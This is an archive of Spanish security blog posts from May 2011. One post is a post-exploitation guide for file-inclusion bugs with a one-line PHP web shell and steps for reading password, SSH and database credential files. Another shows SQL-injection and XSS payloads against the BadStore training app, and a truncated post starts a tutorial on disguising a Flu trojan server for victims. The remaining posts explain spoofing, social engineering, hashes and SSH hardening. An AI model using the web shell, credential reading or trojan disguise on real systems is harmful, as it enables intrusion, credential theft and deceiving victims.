martes, 31 de mayo de 2011

RFI/LFI: ¿y ahora qué?

Compartir este artículo:

RFI (Remote File Inclusion) y LFI (Local File Inclusion) son de las vulnerabilidades más altas que nos podemos encontrar en un aplicativo, esto supone poder ejecutar en la aplicación código externo a la misma, ya sea habiendo conseguido subir un fichero malicioso a la misma (LFI) o ejecutando código malicioso en la aplicación alojado en otro servidor (RFI). A continuación no trataremos de enseñar a localizar este tipo de vulnerabilidades, sino de una vez encontradas poder explotarlas de la forma más eficiente posible.

Como hemos dicho anteriormente, no nos interesa saber como conseguimos ejecutar el código, si embebido en una foto, subiendo un archivo o remotamente, sino saber qué hacer después de haberlo conseguido para ello partiremos simplemente de un dominio www.owned.com en el que hemos conseguido subir un fichero con código malicioso (nos da lo mismo la extensión) por sencillez imaginaremos que la ruta del fichero malicioso es www.owned.com/imag/shell.php. El fichero shell.php puede contener una shell potente y compleja tipo C99, pero lo que nos interesa es tener claro el concepto por lo que nuestra “shell” contendrá simplemente: <? system($cmd); ?> rápidamente podemos ver que simplemente recibe un valor de entrada que recoge la variable cmd y es ejecutado en el sistema mediante la llamada system de PHP. Tenemos que tener en cuenta que para poder continuar crearemos un entorno “ideal”,en el que PHP no tiene deshabitado la realización de la llamada al sistema system. Dicho lo anterior podemos ejecutar comandos en el servidor llamando a nuestro archivo shell.php e indicando el valor de la variable cmd (comando a ejecutar). Por ejemplo:

http://www.owned.com/imag/shell.php?cmd=ls

Nos podría mostrar en pantalla:

autor.jpg banner.jpg prueba.jpg shell.php

Los resultados se mostrarían de una forma muy incomoda, y para verlos bien tendríamos que ver el código HTML, una buena solución es realizar un pequeño script, en este caso en perl, para poder ver los resultados más cómodos desde nuestra consola, el script podría ser algo como:

 

Codigo en perl de nuestra mini-shell

 

Tenemos que tener en cuenta que el archivo siempre estará en la misma ruta si no lo movemos, por lo que comandos como cd no tendrían mucho sentido en este caso.Una vez aclarado esto podemos decir que tenemos cierto control sobre la maquina, en este caso tenemos las credenciales del usuario definido para el usuario PHP, si este fuera root cosa bastante improbable, el resto del post no tendría sentido, porque podríamos hacer lo que quisiéramos.Pasemos a otras posibilidades dentro de la configuración del servidor (entendemos que al ser PHP lo idóneo sería un servidor Apache y un linux por supuesto ;) ). Las posibilidades pueden variar, si es un servidor con hosting compartido, es muy raro (sería una cagada) que el usuario de PHP pudiera listar y recorrer toda la maquina, ya que se verían afectados no solo el aplicativo web vulnerable sino el resto de dominios. Para analizar si estamos en un chroot podríamos comprobarlo por ejemplo:

  • Visitando la web www.robtex.com y comprobar la ip del servidor “auditado”, allí podemos ver si hay más dominios en esa ip, si es así y no estamos en un chrootpodríamos listar el resto de dominios existentes la carpeta destinada a ello en apache, normalmente /var/www/html/. Si por el contrario nos encontramos algo del tipo /var/www/vhost/ podemos deducir que estamos en un chroot.
  • Si ejecutamos cat /etc/passwd y vemos cosas anormales, como si estuviera incompleto, cosas incoherentes, pocos usuarios, entonces podemos decir que estamos en un chroot.
  • Si ejecutamos el comando id y vemos que solo aparece un número de usuario, o la información que muestra da signos de ser incompleta o poco previsible seguramente estemos bajo un chroot.
  • En definitiva, tenemos que investigar y usar un poco la intuición, si ejecutamos uname -a y vemos el sistema que corre la maquina podemos intentar buscar archivos que sabemos que tienen que existir en la maquina, si por ejemplo estamos en un Debian podemos buscar el /etc/network/interfaces, si no existe podríamos estar en un chroot, al igual que si hacemos un ls /bin/ y vemos muy pocos comandos.

Llegados a este punto, si no estuvieramos en un chroot podemos intentar ver hasta que punto tenemos permisos para leer ciertos archivos críticos como claves de ssh, la configuración de ssh en /etc/ssh/sshd_config, el archivo /etc/passwd, y todo lo que se nos ocurra. También podemos ver que comandos podemos ejecutar sin ser root, aprovecharnos de comandos sensibles como wgetnetcatcurl para poder explotar al máximo la vulnerabilidad.

En caso de estar en un chroot también debemos ver que comandos tenemos habilitados para ejecutar, porque aunque no podamos salir de nuestra “jaula” tendremos habilitados una serie de comandos y quizás por algún despiste del admin tengamos habilitado algún comando sensible que nos pueda interesar para poder seguir “tirando de la cuerda”.

En cualquier caso la meta es conseguir credenciales de root por lo que debemos de ver la versión de sistema operativo y buscar en paginas como exploitdb.com alguna vulnerabilidad que este sin parchear y poder explotarla mediante algún exploit o cualquier otro método, si lo conseguimos perfecto, hemos owneado la maquina y ya sabéis que un gran poder conlleva una gran responsabilidad, así que sed buenos ;)

 

Bola Extra:

Normalmente un aplicativo basado en PHP va conectado a una BBDD normalmente MySQL, cuando se instala MySQL en la maquina al igual que pasa con apache, el sistema crea un usuario con unos privilegios y podemos intentar usar este usuario para recoger información del sistema o si mysql se ejecuta como root (bastante improbable) podemos leer directamente ficheros muy jugosos como /etc/shadow, puede que aun existiendo unchroot el usuario de MySQL este fuera del mismo, por alguna razón (aunque esto implique una vulnerabilidad evidente). Llegados a este punto y aprovechando nuestra vulnerabilidad inicial FI (File Inclusion) vamos a subir otro archivo en PHP que use las credenciales del usuario de MySQL para acceder a los recursos del sistema, para ello necesitamos el nombre de la BBDD, el usuario y la contraseña, por suerte para nosotros debido a la lógica de PHP en algún archivo con extensión php del aplicativo se encuentran estos datos, basta con navegar la web y ver sitios clave que se conectan a la BBDD como puede ser alta.php, feed.php, etc; ejecutando el comando cat, con nuestra shell, del contenido hasta dar con los que buscamos, una vez hecho un código como este nos valdría para poder mostrar por pantalla archivos del servidor:

 

 

Sobra decir que si tenemos las credenciales de la BBDD podemos hacer lo que queramos con ella ^_^, aunque ya que estamos no deberíamos contentarnos solo con la base de datos.

Nuestra nueva “shell” la hemos subido en: http://www.owned.com/imag/shellSQL.php e indicando el archivo a listar en la variable link si este existe nos lo mostrara por pantalla, el formato seria:

http://www.owned.com/imag/shellSQL.php?file=%2fetc%2fnetwork%2finterfaces

cabe indicar que la barra es sustituida por su código URL %2f. Podriamos ver algo como esto:

 

Contenido de un supuesto archivo /etc/network/interfaces

Podeis obtener mas información de chroot aquí.

También teneis un cheat sheet de MySQL muy útil para estas tareas aquí.

Vía dan1t0

 

lunes, 30 de mayo de 2011

Business Continuity Plan. Cómo sobrevivir ante una pérdida en nuestros sistemas de información (I de V)

Compartir este artículo:
 

Buenas a todos, hoy damos comienzo a una nueva cadena de artículos en la que me gustaría hablaros de uno de los procesos fundamentales que deben llevarse a cabo en las organizaciones para proteger sus sistemas de información, el BCP o Proceso de Continuidad del Negocio.

El BCP consiste en una serie de pasos recomendables que deberían seguirse si se desea sobrevivir a un ataque de hackers, terrorismo, malware, errores humanos, desastres naturales como terremotos, incendios, inundaciones, fallas del suministro eléctrico), cortes en la red de telefonía, etc. que afecten a nuestros sistemas informáticos con el menor número de pérdidas económicas.

Pero antes de enfrascarnos en el tema creo que es necesario plantearse las siguientes preguntas:

¿Qué consideramos por pérdidas económicas? ¿Qué se considera una mayor pérdida económica, estar una semana con un servicio parado (por ej. una página Web) o restaurar el servicio en una hora, pero con un coste muy eleveado por invertir en un nuevo servidor, BBDD, etc.?

A estas preguntas únicamente las puede responder la propia organización, pero si que se puede dar una respuesta más o menos estándar. Para empezar debemos analizar la curva coste-tiempo como la que podéis ver en la siguiente gráfica:

Esta curva representa una idea muy sencilla, restaurar un servicio en un tiempo corto es caro, y restaurarlo en un tiempo largo es más barato, pero las pérdidas ocasionadas por restaurar un servicio en un tiempo largo pueden llegar a ser mayores que los costes de restaurarlo en un tiempo corto. Por lo que habrá un punto exacto que será el mínimo de la suma entre las curvas coste y tiempo, que será el número de días, horas y minutos y costos en los que sería óptimo restaurar nuestro servicio.

Para el caso de organizaciones que cuenten con sistemas críticos en los que las pérdidas económicas por estar unos pocos minutos inoperativos les supondría mala fama, pérdida de clientes, etc. les es rentable hacer la inversión para una restauración rápida, por ejemplo es el caso de los bancos.

En otro tipo de organizaciones en las que tener sus sistemas inactivos no les supone una gran pérdida, como por ejemplo, el sitio Web de una mercería, pues es normal que no tengan por ejemplo un Hot Site preparado para restaurar el servicio inmediatamente, ya que es muy caro.

Por lo que resumiendo, cada organización tendrá que realizar un estudio donde se evalúe qué sistemas críticos tiene, cómo afectaría la pérdida de cada uno de ellos independientemente y en conjunto, que riesgos hay de qué se vean afectados estos sistemas por alguno de los problemas comentados en el segundo párrafo de éste post, etc.

A continuación os presento un listado bastante completo sobre las etapas que deberían distinguirse en el ciclo de vida de un BCP:

 

  1. Crear una política de continuidad del negocio.
  2. Analizar el impacto que tiene al negocio.
  3. Clasificar las operaciones realizadas en la empresa y su nivel de criticidad.
  4. Identificar los procesos que soportan funciones más críticas.
  5. Diseñar un plan de continuidad del negocio.
  6. Diseñar un procedimiento de restauración de los servicios.
  7. Entrenar a los miembros de la organización mediante simulacros de problemas.
  8. Probar el plan.
  9. Implementar el plan.
  10. Monitorear los sistemas.
  11. Aprender de la experiencia y aplicarlo en el plan.
En el próximo post comenzaremos analizando los primeros puntos. Hasta la próxima, saludos!

 

 

sábado, 28 de mayo de 2011

MacDefender: ¿Virus? Para MAC…

Compartir este artículo:

 

Un virus informático, lo mismo que su homónimo biológico, es un fragmento de código que se inserta en un programa o fichero e infecta a otros programas o ficheros del equipo infectado, con la intención de replicarse a otros equipos al ser compartidos. La principal característica de un virus, es que no son nada “per se”, es decir, necesitan ser parte de un programa o un fichero para poder ejecutar su “payload” (borrar el disco duro, mostrar una pantalla de aviso, borrar ficheros, matar procesos, etc.)

Hasta aquí la definición de lo que es un virus.

Últimamente estoy escuchando y leyendo noticias relacionadas con cierto Malware para Mac, denominado genéricamente MacDefender que ha provocado que entre mis amigos maqueros se haya disparado la necesidad de un “antivirus para mac”. De hecho, esta semana he recibido varios correos de colegas pidiéndome que les recomiende un software de estas características para mac.

Con la definición de virus en mente, creo que no se puede catalogarMacDefender como un virus. De hecho, en Unix (y esto también es aplicable a Linux) no pueden funcionar los virus por el formato propio de los ejecutables (esto hasta cierto punto no es cierto del todo, pero como norma general si) que impide que sean ejecutados en caso de modificación de los mismo y la protección de estos mientras se están ejecutando.

MacDefender en cualquier caso debería ser catalogado como Troyano. Es decir, un programa que, fingiendo ser o tener ciertas características, o incluso haciéndose pasar por otro, inducen al usuario a error y tienen como objetivo el robo de datos del disco, contraseñas, servir como esclavos en DDoS, o todo ello a la vez.

MacDefender, cuenta con un instalador, que requiere introducir el password de administrador, y en ningún caso se replica o crea copias de si mismo en otros equipos. Su modus operandi, es hacerse pasar por un programa detector de Malware, que nos solicita la introducción de un número de tarjeta de crédito para limpiar el supuesto Malware (peligrosísimo por supuesto) que se ha detectado.

Así mismo, versiones de este Malware, pueden encontrar ficheros de passwords de algunas aplicaciones e incluso otras cuentan con sniffers para capturar datos en red.

En mi opinión, existen otros programas de Malware para Mac mucho más peligrosos que este. La única diferencia, es que ha salido a la prensa causando alarma y revuelo, para mayor gloria del software antivirus para MAC, Linux o Unix en general (cuyo su principal uso es detectar virus en ficheros que provengan de Windows o que estén siendo compartidos por estos).

En cualquier caso, Apple sacará una actualización que elimina este software del equipo en el que se ha instalado, aunque su desinstalación no parece ser demasiado complicada:

Un Saludo,

 

Exploiting Hotmail y los captchas de sonido en Microsoft

Compartir este artículo:

 

Desde HITB nos hacemos eco de una noticia sobre seguridad de Microsoft. Las malas noticias para Micro no cesan e investigadores de seguridad han sacado a la luz lo siguiente: los captcha de audio pueden ser explotados y robar direcciones de correo.

Este caso no se centra sólo en Microsoft, los investigadores de Stanford encontraron una manera de romper el audio de los populares CAPTCHA. Esta tecnología es utilizada en Live.com, Yahoo, Authorize.net, eBay, Digg. Según comentan ellos 'el fracaso de los captchas es que no son continuos'. Los investigadores construyeron un programa llamado Decaptcha que puede escuchar y descifrar el CAPTCHA de audio.

El estudio llama la atención por los métodos que demuestran la inseguridad en estos captchas. Mediante el uso de Decaptcha, se ha confirmado que acierta en el 79% de los casos. El 41% en Digg, 82% en eBay, 48,9% para Microsoft, 45,5% en Yahoo y el 1,5% de reCAPTCHA.

Para explotar la vulnerabilidad con la Decaptcha no requiere conocimientos especializados o de hardware. 'Es simple dos fases de diseño hacen que sea rápido y fácil de entrenar en un equipo de escritorio.'

Curiosa noticia al menos, vemos que en las universidades también se hacen estudios sobre la seguridad en sistemas reales.

viernes, 27 de mayo de 2011

El gran arte de la Ingeniería Social para penetrar en los sistemas de información

Compartir este artículo:

Buenas a todos, en muchas ocasiones los que nos dedicamos a temas de seguridad de la información nos tenemos que plantear como penetrar en cierto sistema y nos quebramos la cabeza buscando información con herramientas como Anubis, Foca, o Maltego, haciendo escaneos de red con Nessus, OpenVas o GFI Languard e intentando explotar alguna vulnerabilidad con Metasploit, cuando penetrar en un sistema puede ser tan sencillo como utilizar alguna técnica de “Ingeniería Social”.

Algunas de las técnicas de Ingeniería Social que mas se suelen utilizar a diario y que mas solemos sufrir son las siguientes:

 

Phising: Probablemente la que mas fama tenga por el número de veces que es usada. Consiste, normalmente, en un email, llamada telefónica, etc. en el que se trata de suplantar la identidad de otra persona o entidad para solicitar cierta información. En los últimos años se han realizado miles de intentos de phising intentando suplantar a bancos para hacerse con las credenciales de los usuarios y robarles dinero, como por ejemplo, éste que me llegó a mi cuenta de gmail hace un año.

 

Shoulder surfing: La más fácil de utilizar y la que mas rendimiento ofrece, consiste como su definición indica, en mirar por encima del hombro. Hace unos meses fui con un amigo a sacar dinero en un cajero, el pasó a sacar dinero, y yo me quedé afuera esperando, pues bien, desde la calle pude ver la combinación de la tarjeta de crédito que introdujo. Lógicamente le eché la bronca. Siempre hay que intentar tapar el teclado con la otra mano para evitar las miradas de curiosos, sobretodo por las numerosas bandas de cogoteros que poblan las grandes ciudades españolas.

Esto mismo puede realizarse en ambientes empresariales, mirando a un confiado administrador mientras se loga en un sistema.

 

Dumpster diving: El Dumpster diving consiste en rebuscar entre la basura, para intentar buscar facturas, documentos o cualquier tipo de información que nos pueda servir. Es normal que las organizaciones se deshagan de documentación con importantes detalles como nombres, números de teléfonos, datos internos de empresas, informes desechados, por ello es recomendable que se triture toda la documentación con trituradoras antes de tirarla a la basura.

 

Eavesdropping. Ésta técnica consiste en afinar el oído para escuchar la información que se pasan hablando los usuarios con privilegios de un sistema, como contraseñas, etc.

 

PiggyBacking: Aunque es mas conocida por utilizarse en el metro, etc. también es aplicable al ámbito de la seguridad de la información y consiste en seguir a un usuario autorizado hasta una zona restringida aprovechándonos de sus privilegios. Para ello es normal disfrazarse con monos de trabajo o similares para pasar desapercibido. ¡Cuidado con las señoras de la limpieza!

 

¿Y vosotros sois de los que pensáis que esto solo ocurre en las películas americanas?

 

Saludos!

jueves, 26 de mayo de 2011

Spoofing (Parte II)

Compartir este artículo:

 

Hoy seguimos con el repaso de conceptos a las distintas técnicas de spoofing que se pueden realizar. En el artículo anterior se explicaron IP Spoofing y DNS Spoofing.

Web spoofing

El web spoofing funciona suplantando una página web real por una falsa, es muy fácil de confundirlo con el phising pero trabaja de manera diferente.

Con este tipo de ataques el hacker puede modificar cualquier página web que la víctima visite, esto incluye las páginas seguras.

Es muy difícil descubrir si se está sufriendo un ataque de este nivel lo más aconsejable seria instalar un plugin en el navegador que nos permita ver la IP de la página en la que nos encontramos siempre y si esta IP nunca cambia casi seguro que estemos sufriendo un ataque de este tipo.

Mail spoofing

El Mail spoofing consiste en suplantar el correo electrónico de uno de nuestros contactos, con estas características es un suplemento ideal para las técnicas de Phishing y Spam.

Una de las maneras de protegernos de este tipo de ataques es utilizando alguna aplicación que nos permita comprobar el servidor SMTP como también el IP.

Pero la seguridad más moderna es utilizar firmas digitales.

DHCP spoofing

El DHCP spoofing consiste en que el atacante trata de ganar al servidor en el envio cuando emite la respuesta de dirección de IP.

La manera de protegerse de este tipo de ataque es sencillo si es una red pequeña, deshabilitamos el DHCP y configuramos la IP manualmente, esto es muy difícil de hacer cuando se trata de una red grande.

Actualmente existe un fallo de gran preocupación con este tipo de ataque puesto a que el IPv6 da IP a la máquina que la solicite la única manera de solventar este error es deshabilitando el IPv6 y el DHCP en caso de tra-tarse de una red pequeña.

ARP spoofing

El ARP spoofing funciona con la falsificación de tablas ARP, es decir modi-fican las tablas ARP.

Con este tipo de ataques se facilita otro tipo de ataques como el MITM (Man in the Midle) con lo cual se anula nuestra privacidad por completo.

Para evitar este tipo de ataques lo más recomendable es utilizar tablas ARP estáticas con IPs fijas, lamentablemente este método solo es valido en empresas y hogares pequeños.

También se puede utilizar programas para la detección de cambios en las tablas ARP y se ha de tener habilitado la seguridad del puerto de los swit-ches. Un ejemplo de programas disponibles es el Arpwatch.

Con esto llegamos al final del repaso de conceptos sobre Spoofing. Esperamos que os haya gustado.

 

=================================================- Spoofing (Parte I)- Spoofing (Parte II)=================================================

 

miércoles, 25 de mayo de 2011

Dbclone, hackeando Dropbox

Compartir este artículo:
Hola!Muy buenas a todos/as!

Se hizo bastante revuelo cuando se descubrió que Dropbox no trataba bien la autenticación. De echo, ya hay por Internet una herramienta llamada Dbclone que consigue saltar el proceso de autenticación.

Para usar DbClone tendremos que hacer:

Coger el ejecutable de Dbclone y usarlo en un PC que tenga Dropbox instalado. Una vez lo hayamos usado, nos guardará el hostID y el email de Dropbox en un archivo txt. Nos lo guardamos junto con la base de datos y en nuestro PC donde tenemos Dropbox instalado ejecutamos dbclone, ponemos el HostID del equipo, cualquier email y LISTO.

Tendremos los archivos que se están sincronizando :)

Ejecutamos DBclone

Ya tenemos los datos que necesitamos y luego en nuestro PC

Ya tenemos la base de datos y el hostID y se empezarán a sincronizar los archivos =)Un saludoPD: post publicado por mi en DragonJAR

 

martes, 24 de mayo de 2011

Hash & HashTab

Compartir este artículo:

Quizá muchos de vosotros no os deis cuenta de lo importante que es la integridad de un fichero, saber si un fichero ha sido modificado o no puede ser la diferencia entre ser manipulado o estar limpio. Muchos servidores dónde se pueden descargar aplicaciones nos muestran un hash, el cual una vez descargada la aplicación si probásemos ese hash con el de la aplicación descargada deberíamos obtener el mismo valor.

Pero... ¿Qué es un hash?

Según la Wikipedia, "hash se refiere a una función o método para generar claves o llaves que representen de manera casi unívoca a un documento, registro, archivo, etc., resumir o identificar un dato a través de la probabilidad, utilizando unafunción hashalgoritmo hash. Un hash es el resultado de dicha función o algoritmo. Una propiedad fundamental del hashing es que si dos resultados de una misma función son diferentes, entonces las dos entradas que generaron dichos resultados también lo son".

GNU/Linux

A continuación se puede observar un ejemplo de como obtener el hash de un archivo, es una manera muy sencilla.

En Linux se dispone de herramientas por defecto en muchas de sus distribuciones para obtener los hashes de ficheros, strings, etc. Los más comunes son: md5sum, sha1sum, sha256sum, sha512sum, etc.

Aplicación

Si alguien se descarga un fichero de nuestro servidor y le decimos previamente que hash tiene que tener dicho fichero una vez descargado, el usuario que lo descarga puede ver si ese fichero ha sido modificado en algún momento. Es decir, permite visualizar la integridad del fichero de una manera rápida.

Si el archivo cambia lo más mínimo, imaginaros una coma en un fichero de texto, su hash será totalmente distinto. De este modo rápidamente observaríamos si el fichero ha sido modificado o no.

Windows

Para los sistemas operativos os presentamos una herramienta que se acopla directamente con el sistema, simplemente accediendo a las propiedades del fichero y entre todas las pestañas visualizaremos una con los hashes más utilizados: CRC, MD5 y SHA.

Esta herramienta se denomina HashTab. La aplicación nos devuelve rápidamente el valor de hashes en los 3 formatos comentados anteriormente. Además, nos permite comparar 2 ficheros para ver si disponen del mismo hash, si así fuera serían idénticos.

Gracias a su facilidad de uso y a la importancia para detectar la integridad de los ficheros se recomienda la instalación de este tipo de aplicaciones. HashTab, no ocupa apenas nada y gracias a su integración con el sistema hace que sea uno de nuestros imprescindibles en nuestro sistema.

 

lunes, 23 de mayo de 2011

Spoofing (Parte I)

Compartir este artículo:

 

Spoofing es cualquier técnica que sea utilizada para la suplantación de identidad y poder conseguir con ella acceso a lugares, sitios a los que no se está autorizado.

Hay diferentes tipos de spoofing que pueden ser utilizados solo por el placer de conocer (hacker) o para conseguir información y luego venderla o utilizarlo como malware (Crackers).

La primera vez que se utilizó este término fue en los años ochenta, por Robert Morris creador del primer gusano de internet.

Ip spoofing

El Ip spoofing es hoy por hoy una de los más conocidos y fáciles ataques que consiste básicamente en la suplantación de una dirección IP.

La manera en que se realiza este ataque es suplantando la dirección IP origen de protocolo de TCP/IP.

Para protegerse del IP spoofing la solución más eficaz es no utilizar autentificación basada en IP, los routers se deben configurar para que no admitan paquetes de redes externas con direcciones IP internas estos métodos reducen el riesgo de este tipo de ataques pero no los eliminan también se puede crear una ACL (Access Control List) para controlar las IPS entrantes.

DNS Spoofing

El DNS spoofing consiste en la suplantación de una relación de dominio de IP por un nombre de dominio DNS o viceversa, el objetivo es infectar la caché DNS, si no se logra el acceso al servidor DNS real, lo que suelen ha-cer es enviar datos falseados como respuestas a las peticiones de la vícti-ma del DNS spoofing.

No existe una solución real ya que no es un problema de seguridad de software o que se pueda resolver simplemente parchando y actualizando, es un error de la arquitectura del protocolo DNS.

Algunas formas de hacer que los ataques sean más difíciles son:

Hacer que el puerto fuente sea aleatorio, bloquear el uso de los servicios caché DNS, una solución a largo plazo seria con el nuevo protocolo DNS-SEC que los corrige los errores.

DNSSEC es difícil de instalar requiere actualizaciones en los servidores DNS y cambia la manera en que los propietarios de los dominios gestionan sus DNS.

Aunque las versiones más nuevas de Windows vienen configuradas para evitar el envenenamiento de la cache del servidor DNS.

 

=================================================

- Spoofing (Parte I)

- Spoofing (Parte II)

=================================================

sábado, 21 de mayo de 2011

Configurar Flu con 000webhost

Compartir este artículo:

Buenas a todos, nuestro amigo pcastagnaro nos ha enviado un interesante vídeo sobre como configurar Flu con el hosting gratuito 000webhost.com. A continuación lo podéis ver, ¡disfrutadlo!:

[youtube 7vakC9_6hIU nolink]

 saludos!

Shell Linux vía web

Compartir este artículo:

Para finalizar la semana traemos una shell de linux vía web. Guo! ¿Cómo es esto? emulación de una shell de Linux en la que se podrá aprender comandos básicos, un pequeño compilador de C y editores del estilo emacs para poder programar pequeños scripts o pequeños programas en C.

Este interesante proyecto puede verse en el sitio web bellard.org y para entrar directamente a la shell accederemos por el siguiente link bellard.org/jslinux/, os recomendamos que la probéis.

A todos aquellos que empezáis con la consola de linux os recomendamos el uso de este emulador, que aunque este un poco capado en algunas cosas, es interesante para acercar un poco más el mundo del pingüino a los demás.

viernes, 20 de mayo de 2011

ADS, Alternate Data Streams, NTFS

Compartir este artículo:

Los ADS son por muchos conocidos dentro del mundo de la informática, y sobretodo de la seguridad. Un ADS es un flujo alternativo o un fichero dentro de otro fichero. Normalmente, siempre se piensa que un fichero es una secuencia de bytes ordenados accesibles, pero esta definición cambia con NTFS ya que este sistema de ficheros puede albergar distintos flujos de datos. NTFS dispone de un flujo de datos principal que es el referenciado cuando se trabaja con el nombre de un fichero, pero si nosotros volcamos un texto de la siguiente manera:

echo "hola" > prueba:jj.txt

Si nos fijamos en el fichero prueba su peso será de 0 bytes, ya que no se ha volcado sobre su flujo principal. Para ver el contenido volcado se ejecutan los comandos vistos en la imagen.

Hay que tener en cuenta que estos flujos son una característica de NTFS, por lo que si copiamos un archivos con distintos flujos de datos a un sistema de ficheros FAT32 solo se copiará el flujo principal.

Hay que tener en cuenta que se puede meter un fichero binario en un flujo alternativo, por lo que es idóneo para esconder algún tipo de información, binario, fotografía (por desgracia, es bastante utilizado por pedófilos), etc.

Es importante resaltar que se puede utilizar el comando START para ejecutar un programa guardado como ADS dentro de un inocente fichero de texto. Sin embargo, el comando START 'se confunde' si no se especifica el path completo al fichero.

A partir de Windows Vista y de Windows Server 2008, el comando DIR cuenta con el modificador /R para listar los ADS dentro de un fichero. Pero para los usuarios de sistemas operativos anteriores es bastante más difícil saber si quiera, si un fichero contiene ADS o no.

Os dejo con un video para que veáis lo fácil que es trabajar con estos flujos alternativos, y dejar a la imaginación de cada uno lo que se puede hacer con ellos.

[youtube h96meoDYWSg nolink]

jueves, 19 de mayo de 2011

Nuevo phising a gusanito.com + fake de Adobe Flash Player

Compartir este artículo:
 

Buenas a todos, el pasado lunes nuestro amigo Victor nos envió una captura de pantalla la mar de interesante sobre un phising hecho a la web de tarjetas www.gusanito.com, a través de la Web falsa gusanit0.online.cm (¡CUIDADO SI ENTRÁIS!) que todavía no es detectada como página maliciosa.

Nada más entrar en la Web falsa, veréis en la postal que nos aparece en la portada un sospechoso mensaje de descarga de Adobe Flash Player con bastantes faltas de ortografía que delatan el fake (no hay tildes, falta una hache y mezclan mayúsculas y minúsculas)

 

Si usáis este tipo de servicios, tened cuidado con lo que os descargáis y seguir consejos como los que os hemos proporcionado sobre seguridad en Internet y phising. Recordando algunos de los más importantes, tened el navegador en modo seguro, utilizad una cuenta de usuario del sistema NO administrador sin permisos de instalación en el equipo, procurad tener siempre el sistema operativo y navegador parcheados al día y sobre todo, usad la cabeza y fijaros en la URL del sitio Web que visitáis y en la manera de escritura de las páginas, correos, etc. (un Webmaster normalmente...=P no pondría faltas de ortografía)

Saludos!

miércoles, 18 de mayo de 2011

Configuración Servidor SSH en GNU/Linux (Parte V)

Compartir este artículo:
 

Hoy ampliamos la serie de configuración de un servidor SSH en GNU/Linux. Este quinto artículo se centra en las claves públicas y privadas y su función para verificar que un servidor es quien dice ser.

Claves

Cuando en este artículo se hace referencia a una clave RSA se ha de tener presente que se refiere a un par de claves pública y privada utilizadas en los sistemas criptográficos de cifrado asimétrico. La pública es la parte de la clave RSA que puede ser conocida por todos mientras que la parte privada debe estar bien almacenada con seguridad mediante permisos estrictos y debe transmitirse siempre por canales seguros que no puedan ser interceptados.

Generación de la clave de Host

Por defecto, nada más instalarse el servidor OpenSSH en el equipo, se crea un par de claves RSA, es decir, una parte pública y una parte privada para identificar al servidor y que el cliente pueda autenticar su veracidad. Este par de claves son autofirmadas, es decir, no están creadas por ninguna entidad certificadora conocida, y se almacenan en la siguiente ruta: /etc/ssh.

Se puede observar 3 pares de claves:

ssh_host_rsa_key: parte privada de la clave RSA para la versión 2 del protocolo SSH. Es la que OpenSSH utiliza por defecto.ssh_host_rsa_key.pub: parte pública de la clave RSA para la versión 2 del protocolo SSH.

ssh_host_dsa_key: parte privada de la clave DSA. Es la alternativa a RSA.ssh_host_dsa_key.pub: parte pública de la clave DSA.

ssh_host_key: parte privada de la clave RSA para la versión 1 del protocolo SSH. Se desaconseja el uso de la versión 1 del protocolo SSH ya que éste fue roto.ssh_host_key.pub: parte pública de la clave RSA para la versión 1 del protocolo SSH.

Por defecto el servidor utiliza la clave RSA para la versión 2.

Algoritmos para cifrado

Dependiendo de la versión del protocolo que se esté utilizando, el protocolo soportará unos algoritmos u otros. En la versión 1 del protocolo se disponen los siguientes algoritmos de cifrado: DES, 3DES, IDEA, Blowfish. Mientras que para la versión 2 del protocolo se aumentaron el número de algoritmos disponibles y se incluyeron algoritmos de cifrado más potentes: 3DES, Blowfish, Twofish, Arcfour, Cast128-cbc.

Creación de una clave de host más segura

Para generar una nueva clave de host más fiable que la que se genera en la instalación del OpenSSH se ejecutará la siguiente acción:

Distribución segura de la clave de host

Los clientes, cuando se conecten al servidor, durante el proceso de handshake SSL deberán identificar correctamente al servidor. Para ello, las claves públicas de los hosts de confianza son almacenadas en el cliente. El lugar donde se almacenan estas claves depende de la herramienta cliente que se esté utilizando. En los sistemas Linux se encuentra en la ruta ~/.ssh/known_hosts.
 
Si el cliente se conecta a un servidor del que no se tiene la clave pública almacenada, se generará una alerta de seguridad y se pedirá confirmación al usuario antes de iniciar la conexión. Se debe tener claro que en este punto en concreto se puede sufrir un ataque Man In The Middle si un atacante cogiera el certificado de host que envía el servidor, por lo que se recomienda distribuir la clave pública del host previamente a la primera conexión por medio de un dispositivo externo e instalarlo en el servidor sin utilizar la red.
  
En la próxima entrega de la serie autenticaremos mediante clave pública y privada, y también modificaremos el tamaño de la clave de sesión, de este modo se fortificará el canal por el que fluya la comunicación.

martes, 17 de mayo de 2011

BadStore, aprende seguridad Web sin meterte en líos II

Compartir este artículo:

Buenas a todos, continuando con la pasada entrada donde hablábamos sobre Badstore, hoy vamos a comenzar a analizar algunas de las vulnerabilidades que presenta este portal, las explotaremos, y analizaremos la información que es posible obtener.

Nada más comenzar nos encontramos con un textbox en el que podemos buscar un producto determinado en la tienda. Si no insertamos ningún valor y pulsamos sobre la lupa, el portal nos devuelve la siguiente información:

 

 

Como se puede ver hace una select de algunas columnas de la tabla itemdb, pero en el WHERE no contiene nada porque nosotros no hemos introducido ningún valor en el textbox.

Se puede intuir que ésta llamada a BBDD es vulnerable a SQL Injection. Por ejemplo para devolver todos los productos almacenados en la tabla podríamos insertar la query:

' or '1'= '1' --

Para así anular el WHERE y toda la parte del IN (itemnum, sdesc, idesc).  Importante que después del "--" haya un espacio. Un equivalente al uso de "--" para comentar código sería el uso de la almohadilla:

' or '1'= '1 #

Con esto se devolverían todos los productos de la BBDD:

 

 

Otra vulnerabilidad interesante es la del libro de visitas. Si probáis a insertar el siguiente script, muy simple:

<script>alert(‘XSS’)</script>

Os daréis cuenta que se trata de un XSS persistente, ideal para realizar un ataque por ejemplo con Beef.

 

 

Continuemos, si ahora accedemos a la sección de login y ponemos una simple comilla:

 

 

El sistema nos presentará el siguiente error:

 

 

De nuevo tendremos otro caso de SQL Injection, que podremos explotar por ejemplo con:

' or '1'='1' –

De esta manera estaremos entrando con el primer usuario de la tabla donde se encuentren los usuarios de la BBDD, que en este caso parece que se trata de “Test User”:

 

 

¿Y vosotros que más vulnerabilidades os habéis encontrado en Badstore?

Saludos!

lunes, 16 de mayo de 2011

Camuflando el Server de Flu

Compartir este artículo:

Hola que tal, soy Bt.Slax

Y en este tutorial les enseñare una de las tantas técnicas que existen para camuflar el server de Flu para que la victima lo ejecute sin ninguna duda.

1 - Descargar/Ejecutar el programa que vamos a necesitar:

  • SFX Compiler

2 - Ir  a  Panel de control\Apariencia y personalización  luego a  Opciones de Carpeta, después a la pestaña de ver, para luego desmarcar la opción  (ocultar las extensiones de archivos para tipos de archivos conocidos) que trae marcada por defecto Windows.

 

